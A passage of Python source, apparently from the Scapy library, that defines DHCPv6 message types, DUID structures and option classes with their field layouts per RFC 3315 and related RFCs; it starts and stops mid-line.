RFC 3315 : DHCP6 Messages types +dhcp6types = {1: "SOLICIT", + 2: "ADVERTISE", + 3: "REQUEST", + 4: "CONFIRM", + 5: "RENEW", + 6: "REBIND", + 7: "REPLY", + 8: "RELEASE", + 9: "DECLINE", + 10: "RECONFIGURE", + 11: "INFORMATION-REQUEST", + 12: "RELAY-FORW", + 13: "RELAY-REPL"} + + +##################################################################### +# DHCPv6 DUID related stuff # +##################################################################### + +duidtypes = {1: "Link-layer address plus time", + 2: "Vendor-assigned unique ID based on Enterprise Number", + 3: "Link-layer Address", + 4: "UUID"} + +# DUID hardware types - RFC 826 - Extracted from +# http://www.iana.org/assignments/arp-parameters on 31/10/06 +# We should add the length of every kind of address. +duidhwtypes = {0: "NET/ROM pseudo", # Not referenced by IANA + 1: "Ethernet (10Mb)", + 2: "Experimental Ethernet (3Mb)", + 3: "Amateur Radio AX.25", + 4: "Proteon ProNET Token Ring", + 5: "Chaos", + 6: "IEEE 802 Networks", + 7: "ARCNET", + 8: "Hyperchannel", + 9: "Lanstar", + 10: "Autonet Short Address", + 11: "LocalTalk", + 12: "LocalNet (IBM PCNet or SYTEK LocalNET)", + 13: "Ultra link", + 14: "SMDS", + 15: "Frame Relay", + 16: "Asynchronous Transmission Mode (ATM)", + 17: "HDLC", + 18: "Fibre Channel", + 19: "Asynchronous Transmission Mode (ATM)", + 20: "Serial Line", + 21: "Asynchronous Transmission Mode (ATM)", + 22: "MIL-STD-188-220", + 23: "Metricom", + 24: "IEEE 1394.1995", + 25: "MAPOS", + 26: "Twinaxial", + 27: "EUI-64", + 28: "HIPARP", + 29: "IP and ARP over ISO 7816-3", + 30: "ARPSec", + 31: "IPsec tunnel", + 32: "InfiniBand (TM)", + 33: "TIA-102 Project 25 Common Air Interface (CAI)"} + + +class _UTCTimeField(UTCTimeField): + def __init__(self, *args, **kargs): + epoch_2000 = (2000, 1, 1, 0, 0, 0, 5, 1, 0) # required Epoch + UTCTimeField.__init__(self, epoch=epoch_2000, *args, **kargs) + + +class _LLAddrField(MACField): + pass + +# XXX We only support Ethernet addresses at the moment. _LLAddrField +# will be modified when needed. Ask us. --arno + + +class DUID_LLT(Packet): # sect 9.2 RFC 3315 + name = "DUID - Link-layer address plus time" + fields_desc = [ShortEnumField("type", 1, duidtypes), + XShortEnumField("hwtype", 1, duidhwtypes), + _UTCTimeField("timeval", 0), # i.e. 01 Jan 2000 + _LLAddrField("lladdr", ETHER_ANY)] + + +class DUID_EN(Packet): # sect 9.3 RFC 3315 + name = "DUID - Assigned by Vendor Based on Enterprise Number" + fields_desc = [ShortEnumField("type", 2, duidtypes), + IntEnumField("enterprisenum", 311, IANA_ENTERPRISE_NUMBERS), + StrField("id", "")] + + +class DUID_LL(Packet): # sect 9.4 RFC 3315 + name = "DUID - Based on Link-layer Address" + fields_desc = [ShortEnumField("type", 3, duidtypes), + XShortEnumField("hwtype", 1, duidhwtypes), + _LLAddrField("lladdr", ETHER_ANY)] + + +class DUID_UUID(Packet): # RFC 6355 + name = "DUID - Based on UUID" + fields_desc = [ShortEnumField("type", 4, duidtypes), + UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_BE)] + + +duid_cls = {1: "DUID_LLT", + 2: "DUID_EN", + 3: "DUID_LL", + 4: "DUID_UUID"} + +##################################################################### +# DHCPv6 Options classes # +##################################################################### + + +class _DHCP6OptGuessPayload(Packet): + @classmethod + def _just_guess_payload_class(cls, payload): + # try to guess what option is in the payload + cls = conf.raw_layer + if len(payload) > 2: + opt = struct.unpack("!H", payload[:2])[0] + cls = get_cls(dhcp6opts_by_code.get(opt, "DHCP6OptUnknown"), + DHCP6OptUnknown) + return cls + + def guess_payload_class(self, payload): + # this method is used in case of all derived classes + # from _DHCP6OptGuessPayload in this file + cls = _DHCP6OptGuessPayload._just_guess_payload_class(payload) + return cls + + @classmethod + def dispatch_hook(cls, payload=None, *args, **kargs): + # this classmethod is used in case of list of different suboptions + # e.g. in ianaopts in DHCP6OptIA_NA + cls_ = cls._just_guess_payload_class(payload) + return cls_ + + +class DHCP6OptUnknown(_DHCP6OptGuessPayload): # A generic DHCPv6 Option + name = "Unknown DHCPv6 Option" + fields_desc = [ShortEnumField("optcode", 0, dhcp6opts), + FieldLenField("optlen", None, length_of="data", fmt="!H"), + StrLenField("data", "", + length_from=lambda pkt: pkt.optlen)] + + +class _DUIDField(PacketField): + __slots__ = ["length_from"] + + def __init__(self, name, default, length_from=None): + StrField.__init__(self, name, default) + self.length_from = length_from + + def i2m(self, pkt, i): + return raw(i) + + def m2i(self, pkt, x): + cls = conf.raw_layer + if len(x) > 4: + o = struct.unpack("!H", x[:2])[0] + cls = get_cls(duid_cls.get(o, conf.raw_layer), conf.raw_layer) + return cls(x) + + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + +class DHCP6OptClientId(_DHCP6OptGuessPayload): # RFC sect 22.2 + name = "DHCP6 Client Identifier Option" + fields_desc = [ShortEnumField("optcode", 1, dhcp6opts), + FieldLenField("optlen", None, length_of="duid", fmt="!H"), + _DUIDField("duid", "", + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptServerId(DHCP6OptClientId): # RFC sect 22.3 + name = "DHCP6 Server Identifier Option" + optcode = 2 + +# Should be encapsulated in the option field of IA_NA or IA_TA options +# Can only appear at that location. +# TODO : last field IAaddr-options is not defined in the reference document + + +class DHCP6OptIAAddress(_DHCP6OptGuessPayload): # RFC sect 22.6 + name = "DHCP6 IA Address Option (IA_TA or IA_NA suboption)" + fields_desc = [ShortEnumField("optcode", 5, dhcp6opts), + FieldLenField("optlen", None, length_of="iaaddropts", + fmt="!H", adjust=lambda pkt, x: x + 24), + IP6Field("addr", "::"), + IntField("preflft", 0), + IntField("validlft", 0), + StrLenField("iaaddropts", "", + length_from=lambda pkt: pkt.optlen - 24)] + + def guess_payload_class(self, payload): + return conf.padding_layer + + +class DHCP6OptIA_NA(_DHCP6OptGuessPayload): # RFC sect 22.4 + name = "DHCP6 Identity Association for Non-temporary Addresses Option" + fields_desc = [ShortEnumField("optcode", 3, dhcp6opts), + FieldLenField("optlen", None, length_of="ianaopts", + fmt="!H", adjust=lambda pkt, x: x + 12), + XIntField("iaid", None), + IntField("T1", None), + IntField("T2", None), + PacketListField("ianaopts", [], _DHCP6OptGuessPayload, + length_from=lambda pkt: pkt.optlen - 12)] + + +class DHCP6OptIA_TA(_DHCP6OptGuessPayload): # RFC sect 22.5 + name = "DHCP6 Identity Association for Temporary Addresses Option" + fields_desc = [ShortEnumField("optcode", 4, dhcp6opts), + FieldLenField("optlen", None, length_of="iataopts", + fmt="!H", adjust=lambda pkt, x: x + 4), + XIntField("iaid", None), + PacketListField("iataopts", [], _DHCP6OptGuessPayload, + length_from=lambda pkt: pkt.optlen - 4)] + + +# DHCPv6 Option Request Option # + +class _OptReqListField(StrLenField): + islist = 1 + + def i2h(self, pkt, x): + if x is None: + return [] + return x + + def i2len(self, pkt, x): + return 2 * len(x) + + def any2i(self, pkt, x): + return x + + def i2repr(self, pkt, x): + s = [] + for y in self.i2h(pkt, x): + if y in dhcp6opts: + s.append(dhcp6opts[y]) + else: + s.append("%d" % y) + return "[%s]" % ", ".join(s) + + def m2i(self, pkt, x): + r = [] + while len(x) != 0: + if len(x) < 2: + warning("Odd length for requested option field. Rejecting last byte") # noqa: E501 + return r + r.append(struct.unpack("!H", x[:2])[0]) + x = x[2:] + return r + + def i2m(self, pkt, x): + return b"".join(struct.pack('!H', y) for y in x) + +# A client may include an ORO in a solicit, Request, Renew, Rebind, +# Confirm or Information-request + + +class DHCP6OptOptReq(_DHCP6OptGuessPayload): # RFC sect 22.7 + name = "DHCP6 Option Request Option" + fields_desc = [ShortEnumField("optcode", 6, dhcp6opts), + FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), # noqa: E501 + _OptReqListField("reqopts", [23, 24], + length_from=lambda pkt: pkt.optlen)] + + +# DHCPv6 Preference Option # + +# emise par un serveur pour affecter le choix fait par le client. Dans +# les messages Advertise, a priori +class DHCP6OptPref(_DHCP6OptGuessPayload): # RFC sect 22.8 + name = "DHCP6 Preference Option" + fields_desc = [ShortEnumField("optcode", 7, dhcp6opts), + ShortField("optlen", 1), + ByteField("prefval", 255)] + + +# DHCPv6 Elapsed Time Option # + +class _ElapsedTimeField(ShortField): + def i2repr(self, pkt, x): + if x == 0xffff: + return "infinity (0xffff)" + return "%.2f sec" % (self.i2h(pkt, x) / 100.) + + +class DHCP6OptElapsedTime(_DHCP6OptGuessPayload): # RFC sect 22.9 + name = "DHCP6 Elapsed Time Option" + fields_desc = [ShortEnumField("optcode", 8, dhcp6opts), + ShortField("optlen", 2), + _ElapsedTimeField("elapsedtime", 0)] + + +# DHCPv6 Authentication Option # + +# The following fields are set in an Authentication option for the +# Reconfigure Key Authentication Protocol: +# +# protocol 3 +# +# algorithm 1 +# +# RDM 0 +# +# The format of the Authentication information for the Reconfigure Key +# Authentication Protocol is: +# +# 0 1 2 3 +# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +# | Type | Value (128 bits) | +# +-+-+-+-+-+-+-+-+ | +# . . +# . . +# . +-+-+-+-+-+-+-+-+ +# | | +# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +# +# Type Type of data in Value field carried in this option: +# +# 1 Reconfigure Key value (used in Reply message). +# +# 2 HMAC-MD5 digest of the message (used in Reconfigure +# message). +# +# Value Data as defined by field. + + +# TODO : Decoding only at the moment +class DHCP6OptAuth(_DHCP6OptGuessPayload): # RFC sect 22.11 + name = "DHCP6 Option - Authentication" + fields_desc = [ShortEnumField("optcode", 11, dhcp6opts), + FieldLenField("optlen", None, length_of="authinfo", + adjust=lambda pkt, x: x + 11), + ByteField("proto", 3), # TODO : XXX + ByteField("alg", 1), # TODO : XXX + ByteField("rdm", 0), # TODO : XXX + StrFixedLenField("replay", "A" * 8, 8), # TODO: XXX + StrLenField("authinfo", "", + length_from=lambda pkt: pkt.optlen - 11)] + +# DHCPv6 Server Unicast Option # + + +class _SrvAddrField(IP6Field): + def i2h(self, pkt, x): + if x is None: + return "::" + return x + + def i2m(self, pkt, x): + return inet_pton(socket.AF_INET6, self.i2h(pkt, x)) + + +class DHCP6OptServerUnicast(_DHCP6OptGuessPayload): # RFC sect 22.12 + name = "DHCP6 Server Unicast Option" + fields_desc = [ShortEnumField("optcode", 12, dhcp6opts), + ShortField("optlen", 16), + _SrvAddrField("srvaddr", None)] + + +# DHCPv6 Status Code Option # + +dhcp6statuscodes = {0: "Success", # sect 24.4 + 1: "UnspecFail", + 2: "NoAddrsAvail", + 3: "NoBinding", + 4: "NotOnLink", + 5: "UseMulticast", + 6: "NoPrefixAvail"} # From RFC3633 + + +class DHCP6OptStatusCode(_DHCP6OptGuessPayload): # RFC sect 22.13 + name = "DHCP6 Status Code Option" + fields_desc = [ShortEnumField("optcode", 13, dhcp6opts), + FieldLenField("optlen", None, length_of="statusmsg", + fmt="!H", adjust=lambda pkt, x:x + 2), + ShortEnumField("statuscode", None, dhcp6statuscodes), + StrLenField("statusmsg", "", + length_from=lambda pkt: pkt.optlen - 2)] + + +# DHCPv6 Rapid Commit Option # + +class DHCP6OptRapidCommit(_DHCP6OptGuessPayload): # RFC sect 22.14 + name = "DHCP6 Rapid Commit Option" + fields_desc = [ShortEnumField("optcode", 14, dhcp6opts), + ShortField("optlen", 0)] + + +# DHCPv6 User Class Option # + +class _UserClassDataField(PacketListField): + def i2len(self, pkt, z): + if z is None or z == []: + return 0 + return sum(len(raw(x)) for x in z) + + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + lst = [] + remain, payl = s[:tmp_len], s[tmp_len:] + while len(remain) > 0: + p = self.m2i(pkt, remain) + if conf.padding_layer in p: + pad = p[conf.padding_layer] + remain = pad.load + del(pad.underlayer.payload) + else: + remain = "" + lst.append(p) + return payl, lst + + +class USER_CLASS_DATA(Packet): + name = "user class data" + fields_desc = [FieldLenField("len", None, length_of="data"), + StrLenField("data", "", + length_from=lambda pkt: pkt.len)] + + def guess_payload_class(self, payload): + return conf.padding_layer + + +class DHCP6OptUserClass(_DHCP6OptGuessPayload): # RFC sect 22.15 + name = "DHCP6 User Class Option" + fields_desc = [ShortEnumField("optcode", 15, dhcp6opts), + FieldLenField("optlen", None, fmt="!H", + length_of="userclassdata"), + _UserClassDataField("userclassdata", [], USER_CLASS_DATA, + length_from=lambda pkt: pkt.optlen)] + + +# DHCPv6 Vendor Class Option # + +class _VendorClassDataField(_UserClassDataField): + pass + + +class VENDOR_CLASS_DATA(USER_CLASS_DATA): + name = "vendor class data" + + +class DHCP6OptVendorClass(_DHCP6OptGuessPayload): # RFC sect 22.16 + name = "DHCP6 Vendor Class Option" + fields_desc = [ShortEnumField("optcode", 16, dhcp6opts), + FieldLenField("optlen", None, length_of="vcdata", fmt="!H", + adjust=lambda pkt, x: x + 4), + IntEnumField("enterprisenum", None, + IANA_ENTERPRISE_NUMBERS), + _VendorClassDataField("vcdata", [], VENDOR_CLASS_DATA, + length_from=lambda pkt: pkt.optlen - 4)] # noqa: E501 + +# DHCPv6 Vendor-Specific Information Option # + + +class VENDOR_SPECIFIC_OPTION(_DHCP6OptGuessPayload): + name = "vendor specific option data" + fields_desc = [ShortField("optcode", None), + FieldLenField("optlen", None, length_of="optdata"), + StrLenField("optdata", "", + length_from=lambda pkt: pkt.optlen)] + + def guess_payload_class(self, payload): + return conf.padding_layer + +# The third one that will be used for nothing interesting + + +class DHCP6OptVendorSpecificInfo(_DHCP6OptGuessPayload): # RFC sect 22.17 + name = "DHCP6 Vendor-specific Information Option" + fields_desc = [ShortEnumField("optcode", 17, dhcp6opts), + FieldLenField("optlen", None, length_of="vso", fmt="!H", + adjust=lambda pkt, x: x + 4), + IntEnumField("enterprisenum", None, + IANA_ENTERPRISE_NUMBERS), + _VendorClassDataField("vso", [], VENDOR_SPECIFIC_OPTION, + length_from=lambda pkt: pkt.optlen - 4)] # noqa: E501 + +# DHCPv6 Interface-ID Option # + +# Repasser sur cette option a la fin. Elle a pas l'air d'etre des +# masses critique. + + +class DHCP6OptIfaceId(_DHCP6OptGuessPayload): # RFC sect 22.18 + name = "DHCP6 Interface-Id Option" + fields_desc = [ShortEnumField("optcode", 18, dhcp6opts), + FieldLenField("optlen", None, fmt="!H", + length_of="ifaceid"), + StrLenField("ifaceid", "", + length_from=lambda pkt: pkt.optlen)] + + +# DHCPv6 Reconfigure Message Option # + +# A server includes a Reconfigure Message option in a Reconfigure +# message to indicate to the client whether the client responds with a +# renew message or an Information-request message. +class DHCP6OptReconfMsg(_DHCP6OptGuessPayload): # RFC sect 22.19 + name = "DHCP6 Reconfigure Message Option" + fields_desc = [ShortEnumField("optcode", 19, dhcp6opts), + ShortField("optlen", 1), + ByteEnumField("msgtype", 11, {5: "Renew Message", + 11: "Information Request"})] + + +# DHCPv6 Reconfigure Accept Option # + +# A client uses the Reconfigure Accept option to announce to the +# server whether the client is willing to accept Recoonfigure +# messages, and a server uses this option to tell the client whether +# or not to accept Reconfigure messages. The default behavior in the +# absence of this option, means unwillingness to accept reconfigure +# messages, or instruction not to accept Reconfigure messages, for the +# client and server messages, respectively. +class DHCP6OptReconfAccept(_DHCP6OptGuessPayload): # RFC sect 22.20 + name = "DHCP6 Reconfigure Accept Option" + fields_desc = [ShortEnumField("optcode", 20, dhcp6opts), + ShortField("optlen", 0)] + + +class DHCP6OptSIPDomains(_DHCP6OptGuessPayload): # RFC3319 + name = "DHCP6 Option - SIP Servers Domain Name List" + fields_desc = [ShortEnumField("optcode", 21, dhcp6opts), + FieldLenField("optlen", None, length_of="sipdomains"), + DomainNameListField("sipdomains", [], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptSIPServers(_DHCP6OptGuessPayload): # RFC3319 + name = "DHCP6 Option - SIP Servers IPv6 Address List" + fields_desc = [ShortEnumField("optcode", 22, dhcp6opts), + FieldLenField("optlen", None, length_of="sipservers"), + IP6ListField("sipservers", [], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptDNSServers(_DHCP6OptGuessPayload): # RFC3646 + name = "DHCP6 Option - DNS Recursive Name Server" + fields_desc = [ShortEnumField("optcode", 23, dhcp6opts), + FieldLenField("optlen", None, length_of="dnsservers"), + IP6ListField("dnsservers", [], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptDNSDomains(_DHCP6OptGuessPayload): # RFC3646 + name = "DHCP6 Option - Domain Search List option" + fields_desc = [ShortEnumField("optcode", 24, dhcp6opts), + FieldLenField("optlen", None, length_of="dnsdomains"), + DomainNameListField("dnsdomains", [], + length_from=lambda pkt: pkt.optlen)] + +# TODO: Implement iaprefopts correctly when provided with more +# information about it. + + +class DHCP6OptIAPrefix(_DHCP6OptGuessPayload): # RFC3633 + name = "DHCP6 Option - IA_PD Prefix option" + fields_desc = [ShortEnumField("optcode", 26, dhcp6opts), + FieldLenField("optlen", None, length_of="iaprefopts", + adjust=lambda pkt, x: x + 25), + IntField("preflft", 0), + IntField("validlft", 0), + ByteField("plen", 48), # TODO: Challenge that default value + IP6Field("prefix", "2001:db8::"), # At least, global and won't hurt # noqa: E501 + StrLenField("iaprefopts", "", + length_from=lambda pkt: pkt.optlen - 25)] + + +class DHCP6OptIA_PD(_DHCP6OptGuessPayload): # RFC3633 + name = "DHCP6 Option - Identity Association for Prefix Delegation" + fields_desc = [ShortEnumField("optcode", 25, dhcp6opts), + FieldLenField("optlen", None, length_of="iapdopt", + fmt="!H", adjust=lambda pkt, x: x + 12), + XIntField("iaid", None), + IntField("T1", None), + IntField("T2", None), + PacketListField("iapdopt", [], _DHCP6OptGuessPayload, + length_from=lambda pkt: pkt.optlen - 12)] + + +class DHCP6OptNISServers(_DHCP6OptGuessPayload): # RFC3898 + name = "DHCP6 Option - NIS Servers" + fields_desc = [ShortEnumField("optcode", 27, dhcp6opts), + FieldLenField("optlen", None, length_of="nisservers"), + IP6ListField("nisservers", [], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptNISPServers(_DHCP6OptGuessPayload): # RFC3898 + name = "DHCP6 Option - NIS+ Servers" + fields_desc = [ShortEnumField("optcode", 28, dhcp6opts), + FieldLenField("optlen", None, length_of="nispservers"), + IP6ListField("nispservers", [], + length_from=lambda pkt: pkt.optlen)] + + +class DomainNameField(StrLenField): + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + def i2len(self, pkt, x): + return len(self.i2m(pkt, x)) + + def m2i(self, pkt, x): + cur = [] + while x: + tmp_len = orb(x[0]) + cur.append(x[1:1 + tmp_len]) + x = x[tmp_len + 1:] + return b".".join(cur) + + def i2m(self, pkt, x): + if not x: + return b"" + return b"".join(chb(len(z)) + z for z in x.split(b'.')) + + +class DHCP6OptNISDomain(_DHCP6OptGuessPayload): # RFC3898 + name = "DHCP6 Option - NIS Domain Name" + fields_desc = [ShortEnumField("optcode", 29, dhcp6opts), + FieldLenField("optlen", None, length_of="nisdomain"), + DomainNameField("nisdomain", "", + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptNISPDomain(_DHCP6OptGuessPayload): # RFC3898 + name = "DHCP6 Option - NIS+ Domain Name" + fields_desc = [ShortEnumField("optcode", 30, dhcp6opts), + FieldLenField("optlen", None, length_of="nispdomain"), + DomainNameField("nispdomain", "", + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptSNTPServers(_DHCP6OptGuessPayload): # RFC4075 + name = "DHCP6 option - SNTP Servers" + fields_desc = [ShortEnumField("optcode", 31, dhcp6opts), + FieldLenField("optlen", None, length_of="sntpservers"), + IP6ListField("sntpservers", [], + length_from=lambda pkt: pkt.optlen)] + + +IRT_DEFAULT = 86400 +IRT_MINIMUM = 600 + + +class DHCP6OptInfoRefreshTime(_DHCP6OptGuessPayload): # RFC4242 + name = "DHCP6 Option - Information Refresh Time" + fields_desc = [ShortEnumField("optcode", 32, dhcp6opts), + ShortField("optlen", 4), + IntField("reftime", IRT_DEFAULT)] # One day + + +class DHCP6OptBCMCSDomains(_DHCP6OptGuessPayload): # RFC4280 + name = "DHCP6 Option - BCMCS Domain Name List" + fields_desc = [ShortEnumField("optcode", 33, dhcp6opts), + FieldLenField("optlen", None, length_of="bcmcsdomains"), + DomainNameListField("bcmcsdomains", [], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptBCMCSServers(_DHCP6OptGuessPayload): # RFC4280 + name = "DHCP6 Option - BCMCS Addresses List" + fields_desc = [ShortEnumField("optcode", 34, dhcp6opts), + FieldLenField("optlen", None, length_of="bcmcsservers"), + IP6ListField("bcmcsservers", [], + length_from=lambda pkt: pkt.optlen)] + +# TODO : Does Nothing at the moment + + +class DHCP6OptGeoConf(_DHCP6OptGuessPayload): # RFC-ietf-geopriv-dhcp-civil-09.txt # noqa: E501 + name = "" + fields_desc = [ShortEnumField("optcode", 36, dhcp6opts), + FieldLenField("optlen", None, length_of="optdata"), + StrLenField("optdata", "", + length_from=lambda pkt: pkt.optlen)] + +# TODO: see if we encounter opaque values from vendor devices + + +class DHCP6OptRemoteID(_DHCP6OptGuessPayload): # RFC4649 + name = "DHCP6 Option - Relay Agent Remote-ID" + fields_desc = [ShortEnumField("optcode", 37, dhcp6opts), + FieldLenField("optlen", None, length_of="remoteid", + adjust=lambda pkt, x: x + 4), + IntEnumField("enterprisenum", None, + IANA_ENTERPRISE_NUMBERS), + StrLenField("remoteid", "", + length_from=lambda pkt: pkt.optlen - 4)] + +# TODO : 'subscriberid' default value should be at least 1 byte long + + +class DHCP6OptSubscriberID(_DHCP6OptGuessPayload): # RFC4580 + name = "DHCP6 Option - Subscriber ID" + fields_desc = [ShortEnumField("optcode", 38, dhcp6opts), + FieldLenField("optlen", None, length_of="subscriberid"), + StrLenField("subscriberid", "", + length_from=lambda pkt: pkt.optlen)] + +# TODO : "The data in the Domain Name field MUST be encoded +# as described in Section 8 of [5]" + + +class DHCP6OptClientFQDN(_DHCP6OptGuessPayload): # RFC4704 + name = "DHCP6 Option - Client FQDN" + fields_desc = [ShortEnumField("optcode", 39, dhcp6opts), + FieldLenField("optlen", None, length_of="fqdn", + adjust=lambda pkt, x: x + 1), + BitField("res", 0, 5), + FlagsField("flags", 0, 3, "SON"), + DomainNameField("fqdn", "", + length_from=lambda pkt: pkt.optlen - 1)] + + +class DHCP6OptPanaAuthAgent(_DHCP6OptGuessPayload): # RFC5192 + name = "DHCP6 PANA Authentication Agent Option" + fields_desc = [ShortEnumField("optcode", 40, dhcp6opts), + FieldLenField("optlen", None, length_of="paaaddr"), + IP6ListField("paaaddr", [], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptNewPOSIXTimeZone(_DHCP6OptGuessPayload): # RFC4833 + name = "DHCP6 POSIX Timezone Option" + fields_desc = [ShortEnumField("optcode", 41, dhcp6opts), + FieldLenField("optlen", None, length_of="optdata"), + StrLenField("optdata", "", + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptNewTZDBTimeZone(_DHCP6OptGuessPayload): # RFC4833 + name = "DHCP6 TZDB Timezone Option" + fields_desc = [ShortEnumField("optcode", 42, dhcp6opts), + FieldLenField("optlen", None, length_of="optdata"), + StrLenField("optdata", "", + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptRelayAgentERO(_DHCP6OptGuessPayload): # RFC4994 + name = "DHCP6 Option - RelayRequest Option" + fields_desc = [ShortEnumField("optcode", 43, dhcp6opts), + FieldLenField("optlen", None, length_of="reqopts", + fmt="!H"), + _OptReqListField("reqopts", [23, 24], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptLQClientLink(_DHCP6OptGuessPayload): # RFC5007 + name = "DHCP6 Client Link Option" + fields_desc = [ShortEnumField("optcode", 48, dhcp6opts), + FieldLenField("optlen", None, length_of="linkaddress"), + IP6ListField("linkaddress", [], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptBootFileUrl(_DHCP6OptGuessPayload): # RFC5970 + name = "DHCP6 Boot File URL Option" + fields_desc = [ShortEnumField("optcode", 59, dhcp6opts), + FieldLenField("optlen", None, length_of="optdata"), + StrLenField("optdata", "", + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptClientArchType(_DHCP6OptGuessPayload): # RFC5970 + name = "DHCP6 Client System Architecture Type Option" + fields_desc = [ShortEnumField("optcode", 61, dhcp6opts), + FieldLenField("optlen", None, length_of="archtypes", + fmt="!H"), + FieldListField("archtypes", [], + ShortField("archtype", 0), + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptClientNetworkInterId(_DHCP6OptGuessPayload): # RFC5970 + name = "DHCP6 Client Network Interface Identifier Option" + fields_desc = [ShortEnumField("optcode", 62, dhcp6opts), + ShortField("optlen", 3), + ByteField("iitype", 0), + ByteField("iimajor", 0), + ByteField("iiminor", 0)] + + +class DHCP6OptERPDomain(_DHCP6OptGuessPayload): # RFC6440 + name = "DHCP6 Option - ERP Domain Name List" + fields_desc = [ShortEnumField("optcode", 65, dhcp6opts), + FieldLenField("optlen", None, length_of="erpdomain"), + DomainNameListField("erpdomain", [], + length_from=lambda pkt: pkt.optlen)] + + +class DHCP6OptRelaySuppliedOpt(_DHCP6OptGuessPayload): # RFC6422 + name = "DHCP6 Relay-Supplied Options Option" + fields_desc = [ShortEnumField("optcode", 66, dhcp6opts), + FieldLenField("optlen", None, length_of="relaysupplied", + fmt="!H"), + PacketListField("relaysupplied", [], _DHCP6OptGuessPayload, + length_from=lambda pkt: pkt.optlen)] + + +# Virtual Subnet selection +class DHCP6OptVSS(_DHCP6OptGuessPayload): # RFC6607 + name = "DHCP6 Option - Virtual Subnet Selection" + fields_desc = [ShortEnumField("optcode", 68, dhcp6opts), + FieldLenField("optlen", None, length_of="data", + adjust=lambda pkt, x: x + 1), + ByteField("type", 255), # Default Global/default table + StrLenField("data", "", + length_from=lambda pkt: pkt.optlen)] + + +# "Client link-layer address type. The link-layer type MUST be a valid hardware # noqa: E501 +# type assigned by the IANA, as described in [RFC0826] +class DHCP6OptClientLinkLayerAddr(_DHCP6OptGuessPayload): # RFC6939 + name = "DHCP6 Option - Client Link Layer address" + fields_desc = [ShortEnumField("optcode", 79, dhcp6opts), + FieldLenField("optlen", None, length_of="clladdr", + adjust=lambda pkt, x: x + 2), + ShortField("lltype", 1), # ethernet + _LLAddrField("clladdr", ETHER_ANY)] + + +##################################################################### +# DHCPv6 messages # +##################################################################### + +# Some state parameters of the protocols that should probably be +# useful to have in the configuration (and keep up-to-date) +DHCP6RelayAgentUnicastAddr = "" +DHCP6RelayHopCount = "" +DHCP6ServerUnicastAddr = "" +DHCP6ClientUnicastAddr = "" +DHCP6ClientIA_TA = "" +DHCP6ClientIA_NA = "" +DHCP6ClientIAID = "" +T1 = "" # Voir 2462 +T2 = "" # Voir 2462 +DHCP6ServerDUID = "" +DHCP6CurrentTransactionID = "" # devrait etre utilise pour matcher une +# reponse et mis a jour en mode client par une valeur aleatoire pour +# laquelle on attend un retour de la part d'un serveur. +DHCP6PrefVal = "" # la valeur de preference a utiliser dans +# les options preference + +# Emitted by : +# - server : ADVERTISE, REPLY, RECONFIGURE, RELAY-REPL (vers relay) +# - client : SOLICIT, REQUEST, CONFIRM, RENEW, REBIND, RELEASE, DECLINE, +# INFORMATION REQUEST +# - relay : RELAY-FORW (toward server) + +##################################################################### +# DHCPv6 messages sent between Clients and Servers (types 1 to 11) +# Comme specifie en section 15.1 de la RFC 3315, les valeurs de +# transaction id sont selectionnees de maniere aleatoire par le client +# a chaque emission et doivent matcher dans les reponses faites par +# les clients + + +class DHCP6(_DHCP6OptGuessPayload): + name = "DHCPv6 Generic Message" + fields_desc = [ByteEnumField("msgtype", None, dhcp6types), + X3BytesField("trid", 0x000000)] + overload_fields = {UDP: {"sport": 546, "dport": 547}} + + def hashret(self): + return struct.pack("!I", self.trid)[1:4] + +# DHCPv6 Relay Message Option # + +# Relayed message is seen as a payload. + + +class DHCP6OptRelayMsg(_DHCP6OptGuessPayload): # RFC sect 22.10 + name = "DHCP6 Relay Message Option" + fields_desc = [ShortEnumField("optcode", 9, dhcp6opts), + FieldLenField("optlen", None, fmt="!H", + length_of="message"), + PacketLenField("message", DHCP6(), _dhcp6_dispatcher, + length_from=lambda p: p.optlen)] + +##################################################################### +# Solicit Message : sect 17.1.1 RFC3315 +# - sent by client +# - must include a client identifier option +# - the client may include IA options for any IAs to which it wants the +# server to assign address +# - The client use IA_NA options to request the assignment of +# non-temporary addresses and uses IA_TA options to request the +# assignment of temporary addresses +# - The client should include an Option Request option to indicate the +# options the client is interested in receiving (eventually +# including hints) +# - The client includes a Reconfigure Accept option if is willing to +# accept Reconfigure messages from the server. +# Le cas du send and reply est assez particulier car suivant la +# presence d'une option rapid commit dans le solicit, l'attente +# s'arrete au premier message de reponse recu ou alors apres un +# timeout. De la meme maniere, si un message Advertise arrive avec une +# valeur de preference de 255, il arrete l'attente et envoie une +# Request. +# - The client announces its intention to use DHCP authentication by +# including an Authentication option in its solicit message. The +# server selects a key for the client based on the client's DUID. The +# client and server use that key to authenticate all DHCP messages +# exchanged during the session + + +class DHCP6_Solicit(DHCP6): + name = "DHCPv6 Solicit Message" + msgtype = 1 + overload_fields = {UDP: {"sport": 546, "dport": 547}} + +##################################################################### +# Advertise Message +# - sent by server +# - Includes a server identifier option +# - Includes a client identifier option +# - the client identifier option must match the client's DUID +# - transaction ID must match + + +class 